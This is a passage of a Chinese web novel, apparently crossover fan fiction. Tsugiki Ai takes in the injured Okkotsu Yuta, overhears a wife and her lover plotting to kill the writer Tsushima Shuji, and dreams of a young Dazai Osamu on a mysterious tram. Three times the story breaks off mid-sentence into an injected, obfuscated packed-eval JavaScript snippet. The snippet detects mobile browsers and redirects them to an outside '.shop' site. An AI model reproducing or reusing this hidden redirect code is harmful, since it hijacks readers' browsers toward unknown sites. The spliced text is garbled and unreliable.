“唉……” 惆怅的次木爱回到了咖啡店的门前,推门而入。 门后,被裹成木乃伊的少年双腿岔开坐在地上,见她进来,厚厚的刘海下,无神的眼睛里陡然迸发出闪亮的希望之光—— 次木爱忍不住偏过头去,涌到嘴边的“你老师不要你了”硬生生被她咽了回去。 瞧这可怜见的。 还是换种更委婉的说法吧。 “那个……” 奇怪的女人一开口,乙骨忧太就有种不祥的预感。 “你老师我联系过了,他……他把你卖了1000万。” 12. 谋杀 因为黑户,所以根本收不到不知真假的1000万,次木爱长叹一声,第一次升起一股想把那个轻佻老师抓过来的冲动—— 也只是想想啦。 她现在可是个对这个世界的奇幻存在一无所知的黑户,贸然冲过去不是给人家送菜嘛。 所以身受重伤,又被老师特批交到这个女人手上的乙骨忧太遭殃了。 “什、什么——?” 刚醒来,就得知自己背负了两次缝合,加祈本里香搞破坏的赔偿费用的债务,乙骨忧太扶了一下墙,才能勉强保持站立。 要是他的卡还能用的话,这点赔偿不算什么。 但是他现在根本不可能出去啊! 身无分文,还身受重伤的乙骨忧太眼前一黑,想到莫名其妙的“窗”的消息,只好乖乖留在店里打工。 无名的咖啡店终于迎来了第一个店员。 次木爱这个名誉店长走马上任,终于不再是光杆司令。 可喜可贺,可喜可贺。(鼓掌) 虽然这个店员死也不肯加入她的家庭…… 但好在他长得很好,力气很大,吃苦耐劳,还会操作咖啡机。 看在少年憔悴但俊秀的脸,和实在是有一把的力气的份上,次木爱勉勉强强收留了他。 不过,他们这个咖啡店虽然已经有了店长和店员,但是还有一个最大的问题: 资金。 原本,开店之前的准备,咖啡的牛奶之类的原料,她在足立区的时候顺路就买好了,因为物价相较东京来说很便宜,所以,匀出一点资金也不是什么难事。 “不出意外的话,这些原料足以支持我们开店了。” 次木爱晃了晃手指:“但是呢……” “……但是?” 乙骨忧太灰头土脸地擦着柜子里落灰的杯子,听着对方的话,不知为何,心里总有点不祥的预感。 次木爱笑了笑 “不出意外还是出意外了——在回来的路上,我捡到了你,浑身血淋淋的忧太君。” “不仅如此,那地方简直一片惨不忍睹,你总不能要求像我这样的一个女人,背着高大的忧太君的同时,还能带走一大堆的原料吧?” “如果我是超人的话,那还稍微有点可能。” “所以……你不会要告诉我,店里面没有原料吧?” “bingo!聪明。” 乙骨忧太晃了晃,差点倒在地上。 没有原料怎么开店? 贩卖梦想吗? “哎呀,梦想会有的,面包也会有的,”次木爱整理了一下他的领子,熟练地画饼,“放心吧,这点小场面暂时还在把握当中。” “实在不行,我去给五条老师打电话,把我的卡送过来……” “好了好了,先不说这个了,”她打断了他的话,把他推到了一个杂物间改的卧室里,“你先把伤养好吧,赚钱的事情我想办法。” 实在不行,她干脆去找别人借钱算了。 想必作为一个作家,津岛应该还挺有钱的吧……? 她不确定地想着。 管他呢,有枣没枣打一杆子。 穿越世界的冷却一好,她就迫不及待的打开了通往异世界的门。 …… 倒计时结束后,笔记本中也刷新了新的内容。 还是熟悉的口吻,熟悉的笔迹——是未来,毁灭世界的那个教唆犯,津岛修治 她翻开了书。 熟悉的字迹,潦草又不失遒劲—— 现在她知道了,这是津岛修治的笔迹。 【荒唐,我无法理解这样的现状。】 【笔就在我手中,我却畏惧它更甚于畏惧天灾,每每揽镜自照时看到自己让人讨厌的笑容的时候这种恐惧便更加深入。】 【妻子的背叛如跗骨之蛆一般缠绕在我的心间,使我的手腕重若千钧,它不停地在我的心间蠕动着,告诉我:你就是一个这样的失败者,藏在人群里若无其事的怪物,她离你而去不过是最轻易不过的事,连你也有所预感,不是吗?】 【每每想到这一点,我便无法再埋怨久留美,她是多么柔顺的一个女人啊,在嫁给我这样的蛆虫之时,我不就应该明白,如此巨大的幸福是不会降临在自己身上的吗?】 【既然如此,我又有什么可抱怨的?】 妻子的背叛…… 次木爱扶着下巴,若有所思。 虽然无法感同身受,但是基本上应该没有哪个男人能忍受这个吧? 想必这就是上次见面时,津岛修治处于某种狂躁状态的原因。 居然没有当场翻脸! ——次木爱对他的“胆小”有了更深刻的了解。 【于是我更依赖与触手可及的幸福。】 【酒……这讨人喜欢的小东西,只要一杯,一杯便能像雨刷一样清洗掉所有烦恼,如果我不能忘掉所有烦恼的话,那就只能去死了。】 【苍田医生总忧心忡忡地和我说:“阿拉,修治,你不能再喝下去了,你看看你,胃和肺简直像个老年人一样脆弱啊,多少学会爱惜一下自己吧,修治!”】 【那时的我听着,只是顺从地点头。内心却不是很以为然的。】 【那时候的我只得意洋洋地想,如果我此生再也不能碰酒的话,和主人离开了犬神有什么区别呢?酒水,这些可爱的小东西,只会帮我把忧愁从我可鄙的脑袋里统统卷走啊!】 【可笑,彼时不可一世的我愚蠢,短视,竟从来没想过,就算传说里忠心耿耿的犬神稍不留心也会伤到主人,更何况是这种让人快乐的东西呢?让人快乐的东西,通常也会让人付出代价的呀。】 【一个秋天的晚上,我醉死了,醒来的时候,我在一张陌生的床上,身边是一个陌生的女人,是酒吧的女招待,像枝头的栀子花一样的年纪……名字叫什么已尽然忘记了,只记得她有双黑黝黝的眸子。】 【写到这里,我也惊讶了。在伸手不见五指的黑夜里,这双贪婪的黑洞,竟在我多次酒精中毒后破碎颠倒的记忆里留存了如此之久?】 【我想……或许是因为我醉了的缘故吧。每逢喝醉,总多遗憾。】 放荡、滥情、只是看到这段文字,次木爱的脑子里,浮现出颓靡的花的尸体。 该说早有预料,还是并不意味呢? 次木爱从门内走出,秋风萧瑟,枯草萋萋。 幸好她有所预料,提前加了个外套。 在看似坦诚的文字里,她清晰地品尝出嗤笑中宛如冰面一样的冷漠。 凭借俊美,忧愁,一张甚至有些女相的脸,心灰意冷的津岛修治得到了这些孤独的女人的照顾。 要说写下这段文字时的津岛修治非常爱那些女人那是绝对不可能的,有人爱他,他对孤独的女人们心里的想法一无所知。他也从来不像那些女人们一样对她们的孤独面面俱到,或者真正理解她们。 而这一切的开端…… 妻子的背叛。 次木爱目光落在这段上,透过力透纸背的字体还能看到他的恨意。 她有点不详的预感。 这就是他前文说过的,发生在22岁时的变故? 想起夜晚他在提起妻子,提起无名指上的戒指时那不自然的神态,次木爱愣了一下,有些迟疑。 “不会已经发生了吧?” 她不确定,如果真的让事情走到无可挽回的程度,他是否还能继续安安稳稳待在笔记本的[家庭预备成员]名单上,任她借用他的能力。 所以…… 哪怕不为了他的人格魅力而遗憾,只是为了自己在异世界还能有一丝自保之力,当务之急,她要阻止津岛修治毁灭世界。 “可是……人在哪呢?” 次木爱喃喃自语。 —— 与此同时。 圆月高悬,温柔地洒落银辉。 一个温温柔柔的小个子女人站在门口,眸中盈满担忧。 “喂,久留美!” “呀,这是怎么了,堀木先生?” 她紧走两步,赶紧把醉醺醺的丈夫接了过来,忧惧地问他,“怎么突然醉成了这个样子?这是喝了多少啊——简直太不像话了!” “你知道的呀,久留美,应酬,这可是避免不了的!” 心虚了一瞬间,堀木随即理直气壮。 “津岛这么大的作家,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051902|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然要拓宽一下自己的社交面啊,喝喝酒有什么的,久留美,男人的应酬就是这么麻烦啊!” 男人之间的事,女人管什么管。 反正就算自己花光了津岛的钱包,想必他也不敢和久留美多说一句,既然如此,干嘛还多此一举解释? 堀木正雄暗戳戳想。 “您……算了,感谢您把他送回来。” 深知堀木正雄不是什么好人的田仲久留美深吸一口气,忍住了心头的怒火,勉强维持温柔的表情客套两句,送走了同样脂粉味熏天的堀木。 “修治……修治……?” 担忧地碰了碰醉醺醺的男人的脸,见他只是咕哝两声,眼皮沉沉地掀不开,田仲久留美绷紧的脊背猛地放松下来。 “他醉死了?” 一个略显阴沉的青年从路灯的阴影中走了出来。 半天不见,他眉眼间的郁色明显,绿色的眼睛在趴在娇小女人身上的青年后背上不怀好意地逡巡。 正是水谷贤一。 昏暗的光线下,两人谁也没注意到昏睡的青年呼吸突然变得又轻又浅。 “嗯,醉得什么也听不见了。” 田仲久留美犹豫了一下,还是推了一下水谷贤一的胳膊,催促道,“贤一,趁着这个机会你走吧,我带他回去。” “怎么……提起裙子不认人?”水谷贤一挑眉。 “讨厌啦……” 田仲久留美苹果一样的小脸上浮现一抹云霞的淡红,眉眼间的忧虑却怎么都挥之不去。 “快走啦,要是堀木那家伙突然折返,或者有邻居突然回来的话可怎么办。” “……” 水谷贤一阴沉地沉默了一会儿,突然语出惊人:“久留美,我们杀了他吧?” 田仲久留美吃了一惊,瞪圆眼睛:“贤一?!你说什么呢?!” “只要他在,我们永远不可能名正言顺走在一起。” 水谷贤一拦住她的肩膀,温声软语: “杀了他,然后伪装成自杀,然后你恢复单身,我娶你,久留美……我不想过这样偷偷摸摸的日子了,杀了他好不好?” 水谷贤一已经受够了这样的日子。 在出版社里他被夺走了所有的关注,在情场他被夺走了看上的女人,就连父亲都表现出了无与伦比的重视—— 他恨! 他凭什么?这种虫豸一样的胆小鬼,凭什么踩在他头上? “贤一” 田仲久留美被他的神色吓了一跳。 见状,水谷贤一赶紧软下脸色,轻声细语劝道。 “更何况,他既然这样写了《盲妻》的新章节,里面的情节很不对劲啊……想必也察觉了你与我之间的事……” “要是我们不抢先下手的话,万一这件事被他宣扬出去了的话,一瞬间我们就会变成万人所指的奸夫□□!” “不行!” 田仲久留美吓了一跳。 如果宣扬出去的话,她的生活工作就全毁了! 她绝对不会允许这件事发生! “难道你想出门都被人指指点点吗?大作家的影响力,作为编辑的你不会不知道!” “他,他不会……” “哈哈,别天真了,久留美,难道你还幻想他会原谅你?原谅你毫不留情背叛他转头我的怀抱,原谅你浑身上下每一寸都被我仔细看过,摸过,原谅这样的你?” “贤一!” “就算他真的原谅了你,津岛家也绝对不允许这样的丑闻污染他们的家门的,别太天真了,久留美!” “别说了!!贤一!” 不堪重负的田仲久留美狠心推了恶魔般的水谷贤一一下,双眸含泪,捂住了耳朵,大喊道,“我知道了!我知道了!” 水谷贤一满意地笑了。 一群甩着翅膀的蝙蝠,成群结队的从檐下路过,噼里啪啦搅乱阴沉的空气。 仿佛要把所有隐匿在暗处的小飞虫全都搅碎。 谁也没想到,就在这时,一个黑发黑眸的女人从凌乱危险的黑夜中走了出来。 水谷贤一和田仲久留美吓了一跳,互相对视一眼。 她听到了多少? 13. 若无其事 虽然这人站的位置离他们这儿还有一段距离……但谁也不能保证她没听见刚才的争吵。 这可是谋杀…… 绝对不能让第三个人知道! 她的心头涌上一丝狠辣。 “……我好像听到这边有人在吵架,没事吧?”女人犹豫。 “没事没事。”两个人赶紧否认。 “那就好,要好好相处啊,夫妻之间没有什么说不开的话。” 陌生女人的眼神在她和水谷贤一脸上转了一圈,善良地微笑。 田仲久留美吓了一大跳,连连摆手,连诘问都忘了:“不,不是的,我们只是同事,这位才是我的丈夫。” “呀,对不起,对不起,误会了,我正好回家路过这边,听到好像有人吵架,现在看来倒是有点好心办坏事啦。” 田仲久留美和水谷贤一对视一眼,确定对方和自己想的一样。 “外面太冷了,请上来暖一下吧。”水谷贤一扬起笑脸,作势把她往楼上带。 “哎?可以吗,这个时间了,太打扰了吧!” “哪里哪里,一点也不打扰,来吧,碰上就是缘分!” 要是她听到了…… 好好打听一下她住在哪儿吧? “啊呀,这不太好吧?贸然上门叨扰……” 虽然嘴上这么说着,但次木爱还是装作不敌他们的热情,半推半就地被推了上去。 要问她听到了吗? 听到了哦。 不仅听到了,两只耳朵都听到了,听得清清楚楚,杀人什么的,还真是吓人呢。 半推半就的次木爱环视建筑。 虽然是栋老建筑,但是,能看出建筑用料很好,而且装修风格也不落后——比她在东京租的出租屋不知道好了多少。 虽然不认识他们,但趴在女人背上的那头小卷毛还是很好辨认的。 一个长相很可爱的女人,和一个长相帅气,但眉宇之间总有些阴沉的瘦高男人。 三人推开门,次木爱与水谷贤一在沙发上依次落座,互通了姓名,而田仲久留美则是把丈夫放在另一个沙发上,去厨房拿水。 暖黄的灯光笼罩了他们,田仲久留美端着水壶出来的时候,正好听见那女人的赞美。 “您的房子还真好看呢,这样大方,明亮,租金一定价格不菲吧?” “要是我能租这么一套房子就好了,哪怕配套的设施不那么齐全呢,总能慢慢攒下来嘛。” “哪里哪里,当不得您这样的夸奖。” 田仲久留美端着水放在桌子上,神态有些不自然。 “不过是自家一座旧房子而已,哪来的什么租金……您是做什么工作的?。” “我吗?我只是个小小的咖啡店店长罢了。” “咖啡店吗?很有情调的工作啊” 水谷贤一则是坐在她身边,用惊艳的眼神扫视她的脸,紧紧追问。 “不知道次木小姐的店开在哪?有空的话,还真想去拜访一下呢。” 他的态度比田仲久留美好多了,眸中残留的惊艳明明白白。 抛开她可能威胁到他的事实不说,这位突然闯入寒夜的小姐简直太美了。 像暗夜、花朵、更像一条静静流淌的河。 裙摆上的暗花随着沙发的弧度洒落,挤挤挨挨,缀满了枝头,窃窃私语,摇曳不停,那些四处生长的枝条缠绕在裙摆上,连着她白皙到晃人的小腿,莫名让人眼晕。 光是侧着腿坐在那儿,就像冷然,却又诱惑的幻影。 如果让他选的话—— 诶呀,田仲久留美虽然也很可爱,但果然还是这样暗丽动人的大美女更有征服的欲望! 于是,在惴惴不安的田仲久留美旁敲侧击打听她的时候,水谷贤一倒是温和地和她闲聊,简直称得上喋喋不休。 “次木小姐也住在附近吗,真有缘分啊。” “啊,那倒没那么近啦……” “次木小姐的咖啡店忙不忙?我倒是个作家,称不上大作家,但也有点名气,没准你还读过我的书呢!” “是吗?” “次木小姐,天气这么冷,穿这么少出门,对身体可不好,来,我的外套借你穿。” “谢谢你,水谷先生,我不冷。” 次木爱略微不耐地拒绝了递来的外套,目光落在表情不自然的田仲久留美身上,又落在对面沉睡的津岛修治脸上,装作好奇地问: “这位是你的丈夫吗?” 别和她聊些没营养的话题了,就算是精神病人也有人权。 不要虐待精神病。 话题一拐到这里,原本热烈的气氛就像被泼了一瓢冷水一样,陡然冷静下来了。 总算停了。 次木爱松了口气。 “啊,是,是的。” 田仲久留美回答得磕磕绊绊。 “他是我的丈夫,津岛修治。” “真好呢。”次木爱无视了水谷贤一殷勤的献好,微微一笑。 “长得很帅气呢,和田仲小姐非常般配,一看就是非常幸福的夫妻,真不错啊。” 水谷贤一的脸几不可见地扭曲了一下。 津岛修治藏在外套下的手指抽动了一下。 没睡啊。 这种演技可不合格哦。 次木爱微微一笑,端起杯子浅抿了一口,遮住了自己的表情。 田仲久留美露出一副幸福的样子,羞涩地摸了摸脸:“哪里……” “他也是作家吗?” “是,是的,他也是。” 长相可爱的女人说着,忍不住用余光瞥了一眼脸色有些不好的水谷贤一。 水谷贤一插嘴:“久留美还当过他的编辑呢!” “是吗?” 次木爱装出一副好奇的样子看着他,特意摆出一副洗耳恭听的认真模样。 如她所想,这男人得意洋洋,竹筒倒豆子一样噼里啪啦倒出来一堆隐秘。 “对呀,当年,津岛那家伙可没有现在这么讨人喜欢,他刚刚进入杂志社的时候,瘦的像个猴子一样,大家都吓了一跳,哈哈哈哈!” 把外套随手搭在手边,水谷贤一故作开朗地解释,就像真的只是关心这对小夫妻而已,还洒脱地捋了一下头发。 “也只有堀木那种人,说的什么——哦,‘这样的人,看上去就招女人喜欢啊!’然后借了他一笔钱,他们的生活才会变得这么好啊。” “就算偶尔堀木带着他喝酒去,唉,也不好拒绝,不是吗?” “就是苦了久留美,每次堀木这家伙带着醉的一塌糊涂的津岛回来,鉴于他也帮过津岛的缘故,也不好说什么。” 最后,他故作惋惜地一拍腿,“唉,真是人无完人啊。” 津岛这东西,和他抢名声就算了,现在竟然连这么漂亮的次木小姐的注意力都抢走,真可恨。 既然这样,那就不要怪他,实话实说了。 反正他撒谎了吗? 没有吧。 事实不就是这样的吗? “哈哈……” 堀木……是谁啊? 次木爱一脸礼貌微笑,看了看义愤填膺的水谷贤一,又看了看满脸尴尬的田仲久留美,嘴角的弧度忍不住上升。 沉默一会,她轻快地问道:“原来是这样呀。” “那水谷先生,田仲小姐是你的编辑吗?看你们关系蛮好的样子。” 田仲久留美:“……” 水谷贤一:“……” 这人怎么这么不会说话? 次木爱轻轻抿了一口水,装作看不到他们眼中腾起了莫名的意味。 抱歉,朋友们。 比起让你们折磨我,还是我来折磨你们比较好。 “不得不说,水谷先生看上去和田仲小姐很亲密呀!真替水谷先生的读者感到高兴,” 她抿了一口茶,言笑晏晏,“没有矛盾的编辑和作者,想必您发布作品的频率也很高……” “呀,恕我冒昧,”她好奇地俯身,“您的笔名是?” “不是,久留美不是我的编辑,我们只是……” 就在水谷贤一欲盖弥彰,想解释的时候。 “唔……” 沉睡的青年闷哼一声,“恰巧”地醒了。 “水……好渴……” 不想让我接着听吗? 好吧,反正我对这些也不是很感兴趣。 次木爱无所谓地往沙发上一靠。 “呀,看来,您的丈夫醒了呀,那我就不多打扰了,” 完全无视了那双迷蒙的鸢眸里的挽留之意,次木爱浅笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051903|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着拍了拍膝盖,站起身,和田仲久留美握了一下手: “下次见面,再好好听您和您丈夫的故事吧。” 这就走了? 可她还都没打听到呢! 田仲久留美连忙挽留:“不多留了吗?……” “不了不了。” “那就换个联系方式?我对次木小姐简直一见如故!交换联系方式吧!”她急急忙忙准备挽留。 “正好我也要走了,次木小姐,外面天这么黑了,不然我送你一程?” 水谷贤一也跟着站了起来。 无人在意躺在沙发上的青年。 “呀,这怎么好意思。我住的地方离这儿不远,就不劳烦您了,水谷先生。” “说什么劳烦不劳烦的,天这么黑,让您一个人回去我也不放心呀,走吧。” 够了! 田仲久留美实在忍不住,抓住水谷贤一的肩膀,把人扯到了厨房,同时不忘尴尬地笑笑,故意大声说道。 “呀,水谷桑,我才想起来,你上次和家夫喝酒的时候落在这儿的杯子,忘了还给你了,正好正好,这次就一起拿上吧!” 水谷贤一被她的杏眸一瞪,被色欲冲昏头脑的脑袋也清醒了不少,瞥了眼站在原地的女人,也跟着大声道: “啊啊,想起来了,想起来了,稍等我一下哈!” 次木爱站在原地,观赏他们拙劣的演出,只觉得他们的演技实在需要好好进修一下。 如果身患精神障碍的是他们,那么不出两天,精神病院的车就停在楼下了…… 哦,当然,也有可能是好心邻居怀疑他们中邪叫来的巫师萨满的车。 她就这么静静地,看着这对凶狠的鸳鸯互相扯搡着跑进了厨房,然后“砰!”地一声,关上了门。 看来今天,这里暂时不会发生命案了。 次木爱弯腰拿起茶几上的笔记本,吹了口气,指尖抚过上面凹凸不平的金丝河流,把它抱在怀里,眸色玩味。 很多情况下,敢动手的杀人犯不过是激情犯罪,眼一红,头一晕,白刀子进,红刀子出,一辈子就完了。 她的出现,只不过是给他们一个冷静的借口罢了。 走了。 她摇摇头,刚想离开。 身后传来一个沙哑的声音。 “你这样做,是为了我吗,次木小姐,您就要这样离去了吗?” 身下传来一股轻微的拉扯力。 头发凌乱的青年支着一只手臂,病殃殃地从沙发上半支起身。 他仰头,用蒙蒙的眼睛望着她,这个迄今为止也只是见过两面的女人,鸢色的眸子倒映着电气灯的明亮,其中最深处,却依旧隐藏着挥之不去的阴郁。 牵住她裙子最微末的一角,指关节因为用力,泛着微微的白。 尽管酒精催生了无数阴暗不堪的想法。 但他确实想,他这种卑劣的胆小鬼,有一瞬,哪怕只有那么短短一瞬,是否被毫不犹豫地选择过? 只要她稍微表现出一些不耐烦,他微渺的勇气就会变成自作多情。 “你喝太多了,修治。” 比起他来,干净,整洁,宁静到让人自惭形秽,甚至有些恼怒的女人,那梦中的女人,温柔地摸了摸他的额头。 然后残忍地,把她的裙角从他手中无情剥夺。 这楚楚可怜的样子,想必世间没有哪个女人肯狠下心来拒绝这样的津岛修治。 次木爱肯定,倘若他肯向自己的妻子——刚刚那个可爱又愚昧的孩子展露出这样一副情态的话,想必就没有另一位奸夫的事了。 可惜。 再次重申。 她耸了耸肩。 她,次木爱,是个情感障碍患者,一个情绪像齿轮一样倒错的精神病,疯子,可怜人啊。 “你瞧瞧您,每次见到您都是这样一副狼狈的情态。” “我是不能拯救你的,亲爱的,因为能拯救一个人的,唯有他自己啊。” 她,欣赏他阴郁颓废的美,怜爱他逃避痛苦的心,就像怜爱盘叶忍冬竭尽全力托举着花苞的萼片,欣赏它们明亮优雅的色彩。 可如果这丛长在别人院子里的花只是长久地等待她路过,期盼她施以雨露,一味地索取的话,她怎么会想把软弱的它移植到自己的院子里呢。 14. 梦? 或许是因为吹了深夜的冷风,次木爱无聊地摆脱了跟踪的一男一女,回到房间之后,感觉脑袋昏昏沉沉的,很快就睡着了。 即使是入睡也不安稳,许多杂乱的画面在她脑中一闪而过,许多熟悉的,不熟悉的面孔如碎片般闪烁,有打工店的店长、医生、甚至曾经只有过一面之缘的客人…… 或许是因为在梦里,他们的脸怪异,模糊,分不清五官,有时候看上去和蔼,有时候看上去又充满敌意。 而次木爱无动于衷。 她正是在这样的环境里,生活了28年。 因为感情错位,所以在不知事的年纪,常常会错乱,迷惑,为何大人们有时对她温和,有时却又严厉苛刻? 她不明白。 只有在稍稍长大之后,了解了人与人之间的社交规则,学会察言观色,揣测对方,见机行事的次木爱,才终于从一个“怪胎”变成了“正常人”。 到了她28岁,除了心理医生外,无人知晓,对任何人都友好亲近,似乎没脾气一样的次木爱小姐,其实是个精神疾病患者。 梦里的场景被凌乱切割,有时记得,有时不记得。 等她反应过来的时候,自己已经站在一辆年份已久的公交电车上,身体随着电车的摇摆而摇晃。 车上只有一位乘客。 诶? 好不容易恢复清醒的次木爱愣住了。 “津岛修治……?” 那确实是津岛修治,只不过看上去更年轻,更稚嫩。 他穿着皱巴巴的西裤和衬衫坐在电车最后排的椅子上,拄着腮帮,靠在窗户上,出神地望着窗外。 他的西装和衬衫料子看上去很好,只是皱巴巴的。 而且,那宽大的西装外套大了一截,几乎称得上一件大衣,逶迤在生锈的座椅靠背上,软软垂下,极具特色的黑色短发,和白皙的脸颊。 “你是谁?” 他注意到了她的目光,换了只手托腮,把头转了过来,颇为顽皮挑了一下眉。 “如果见过你的话,我应该不会忘记,看你的眼神,你却认识我?” “有趣,我们在哪见过吗?” 窗外的夜景化作流光飞逝,闪烁不定的光辉落在他苍白的侧脸上,清晰地分割出五官的界限,描摹圆润的脸颊,腕骨突出的手腕。 那里缠着绷带,层层叠叠,蔓延至指尖,腕骨弯出了一个漂亮的弧度。 他的声音还带着些许稚嫩,但眉眼间已经透露出了戏谑和冷漠。 最为特殊的是—— 他的右眼缠着厚厚的绷带,遮挡住了1/4张脸。 她恍惚了一下。 “好像……” 好像看到了软弱的青年一闪而逝的,藏于心底的阴暗野兽化作了幼小的人形,倚着窗,困惑地仰头看着她。 “不说话?别这么看着我,我可不是你认识的那个人……不论他是谁,我都没有当替身的兴趣。” 得不到回应的少年微微不耐烦的挥了挥手:“况且,在自己都未必知道自己是谁的情况下,不要随便搭讪别人——我可不是你想象中好说话的人。” 脾气真差。 自己为什么做梦会梦到少年津岛修治? 次木爱犹豫了一下,还是什么都没说,坐到他对面的座位去了。 结果她不主动讲话,对面脾气坏的少年反而主动找她搭话。 “喂,你。” “……?” 次木爱歪头,指了指自己。 “没错,就是你,”他一手搭在靠背上,一手指了指她,“你从哪来的?” 次木爱虽说是个大人,还是个精神病,按理来说不应该和这么个十五六岁的小孩计较。 但好就好在她是精神病,不用按理说。 “诶呦!” 他四肢一缩,捂着泛红的额头,痛得龇牙咧嘴: “干嘛?” “对大人礼貌一点,小孩。”次木爱慢条斯理收回手。 “你有年纪很大吗?”他看上去还不服气。 “反正比你大。” 看着对面的少年,次木爱已经能非常熟练的把他和津岛修治分开了—— 津岛修治根本没有这么欠打。 要是津岛修治有他一半,不,四分之一的自信,都绝对轮不到他的妻子和奸夫当着他的面商量怎么除掉他。 “你叫什么?” “嗯,什么什么?”他故作疑惑,“难道要睹物思人……与我这张脸再续前缘吗?” “考虑到过度自恋有时候也是一种精神疾病……” 次木爱扶着下巴不解地思考。 “才没有!”他眯着眼睛大声反驳,警惕性还挺高:“只不过,这位美丽的小姐,按照大人们之间的社交礼仪,在询问别人的名字之前,是否要先报上自己的名字呢?” “次木爱。” “真名还是假名啊……别报个假名来糊弄我……” “有什么必要?” “诶——那你发誓!发誓不会骗我!” “有什么必要……” “你发誓你发誓你发誓你发誓!” 他站起来,猛地俯身靠近,直勾勾盯着她的眼睛:“你发誓嘛!” 胡搅蛮缠,蛮不讲理。 现在的青少年都这么叛逆不服管教了吗? “啊!” 次木爱转了转手腕,悠闲地坐回去:“好好说话,再问一遍,你叫什么?” 少年捂着头,气焰全无,乖乖小声回答: “太宰治(Dazai Osamu)……” 太宰治? 不是津岛修治(Tsushima Shūji)? 这奇怪的中二名字又是自己从哪个犄角旮旯里翻出来的? 她太希望把津岛修治拉进家庭,以至于脑内幻想了一个小时候的津岛修治吗? 或者…… 他的儿子? 次木爱愣了一下,才想起来。 自己好像忘记问津岛修治到底有没有孩子了…… “你……那你爸爸叫什么名字?” 她小心翼翼试探。 “哈?有这么自我介绍的吗?!要不要我把我家族谱背给你听啊?!” 次木爱转念一想。 “也行。” “不要蹬鼻子上脸!” 名为“太宰治”的少年跳脚:“没有这个义务!” “好了好了,开个玩笑嘛,太宰君……咳咳。” 次木爱抵着拳头咳嗽了两声。 “开过玩笑之后就是朋友了吧?所以,这里是哪里?” 少年沉默了一会,再开口时,没有吊儿郎当的感觉: “我也不知道这辆车从哪来,要到哪去。” 他摸着胸口,沉思。 “距离我醒来到现在,时间大概已经过了……6个小时,除了在你面前停下这次之外,从来没有停留过。” “我问过前一站下车的两位乘客,在前一个小时,他们还会偶尔和我说两句话,驱赶一下我,直到一个半小时后,他们的状态开始变得不对劲,不仅不再回应我的询问,甚至被推搡也不会再生气。” “就好像……除了等待下车外,所有的欲望全都被抹除了一样。” 说到这儿,他双手枕在脑后,吹了个口哨,又恢复了那副没正形的样子: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051904|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唉,美丽的小姐,恕我直言,恐怕你选择上车,不是个明智的决定,倘若这辆车在行驶下去,恐怕我们两个也要一命呜呼,做一对殉情的苦命鸳鸯咯~” “给我好好说话!” “啊!” 短短10分钟内,挨了三发人格修正拳,他的眼神前所未有地清澈起来。 次木爱满意地点点头——每当微声细语的劝解不起作用之时,就是家长的无私铁拳出动之日。 “好暴力…”太宰治哀怨地揉着额头,“您真的认为,我们可以活着逃出去吗?” 这只是个梦而已。 有什么逃出去不逃出去的必要呢? 虽然心中是很不以为意的,但次木爱凭借精湛的演技,还是维持了表面上那一股浅浅的担忧: “总比躺平等死好……比起这个,我有问题要问你,太宰君。” “嗯哼?你问吧。” 他翘起二郎腿。 “你来自哪里?过往经历?上车前在哪?为什么要上车?上车后见过的人?” “来历……” 随着她连珠炮一样又急又多的提问,少年的神色忽然变得很迷茫:“我…来自……?” 随着他的迷惘和动摇,他的身影也逐渐像接触不良的电视一样,闪烁起来。 “我来自……?” [喂、喂,太宰!] 好像从天外传进来的声音,虚无缥缈,游移不定。 “你、你听到了吗?” “什么?”次木爱疑惑。 然而,对面身形闪烁不定的少年似乎已经陷入了某种癔症、幻想、或者神游天外里。 [太宰!可恶,你这家伙,滚开!] 颤抖、震动、好像站在地震的地面上,整个人摇摇晃晃,每刻都像要跌倒的样子。 下一刻。 哗啦—— 电车猛地刹车,少年一个趔趄,失去平衡,狠狠摔倒在地上,脑袋磕在地面上发出“咚”的一声。 “没事吧?” 次木爱赶紧去扶。 [太宰…太宰!!] “我…国木田……?”少年捂着头,喃喃自语。 “太宰!!!” “呼——!!!” 垂死病中惊坐起,太宰治胸口剧烈起伏,惊魂未定地抬头,和一张焦急的俊脸,灰色的眼睛溢满了担忧。 “国木…田?”太宰治犹疑地扶住他的胳膊,觉得自己的头好痛,好像被人狠狠地打了。 “太好了,太宰!你这混蛋!终于醒了!” 松了一口气,国木田独步欢喜地扶着他起来,歪歪扭扭地站稳。 “嘶——我的头!” 太宰治捂住头,一缕鲜血顺着脸颊流下。 站在两人对面的,是一只形体扭曲,造型怪异的生物。 太宰治短暂晃神了一瞬,想起来了。 他刚刚是在出任务的途中,被这家伙一下子打飞到墙上,狠狠撞到后脑勺晕过去了。 所以自己的头才那么痛吗? 砰!砰! 